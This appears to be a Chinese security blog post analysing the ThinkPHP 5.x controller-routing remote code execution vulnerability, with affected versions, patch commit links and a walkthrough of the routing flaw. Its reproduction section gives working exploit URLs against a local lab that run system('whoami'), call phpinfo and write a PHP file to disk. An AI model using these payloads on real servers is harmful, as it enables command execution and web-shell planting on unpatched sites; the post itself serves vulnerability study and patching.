ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
0x01 影响范围
5.x < 5.1.31, <= 5.0.23
0x02 漏洞分析
Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
路由信息中controller的部分进行了过滤,可知问题出现在路由调度时
关键代码:
在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。
其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:
其中通过parseModuleAndClass方法解析出$module和$class,然后实例化$class。
而parseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。
接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息
代码比较简单,就是使用/对$url进行分割,未进行任何过滤。
其中的路由url从Request::path()中获取
由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化\namespace\class类并执行method方法。
0x03漏洞利用
docker漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/1125.html
1.利用system函数远程命令执行
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.通过phpinfo函数写出phpinfo()的信息
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3.写入shell:
或者
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
相关文章
- CVE-2019-0708(非蓝屏poc)远程桌面代码执行漏洞复现
- 代码审计-MetInfo 6.0.0 sql注入漏洞
- 代码审计-phpcms9.6.2任意文件下载漏洞
- PowerShell ISE/文件名解析缺陷远程执行代码漏洞#RCE
- uchome 2.0 存在持久XSS漏洞
- python打造漏洞数据导出工具
- Windows Shell远程执行代码漏洞((CVE-2018-8414)复现
- 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击
- 登录处cookie验证逻辑漏洞——以熊海CMS为例
- SSRF漏洞详解与利用
- 漏洞修复---Session Cookie Does Not Contain the “Secure“ Attribute和HTTP Security Header Not Detected
- OpenSSH权限提升漏洞(CVE-2021-41617)修复 Centos 7升级Openssh 8.8
- GHOST漏洞原理简单分析
- 【异常】记一次因修复漏洞扫描导致SpringSecurity出现的循环依赖问题
- 22 - vulhub - Fastjson 1.2.47 远程命令执行漏洞
- 19.Imagetragick 命令执行漏洞(CVE-2016–3714)
- 1. 命令执行漏洞简介
- 漏洞扫描原理——将主机扫描、端口扫描以及OS扫描、脆弱点扫描都统一放到了一起
- 07 - vulhub - Apache SSI 远程命令执行漏洞
- 21 - vulhub - fastjson 反序列化导致任意命令执行漏洞
- WEB漏洞攻防 - SQL注入 - 安全测试思路总结
- 预处理prepareStatement是怎么防止sql注入漏洞的?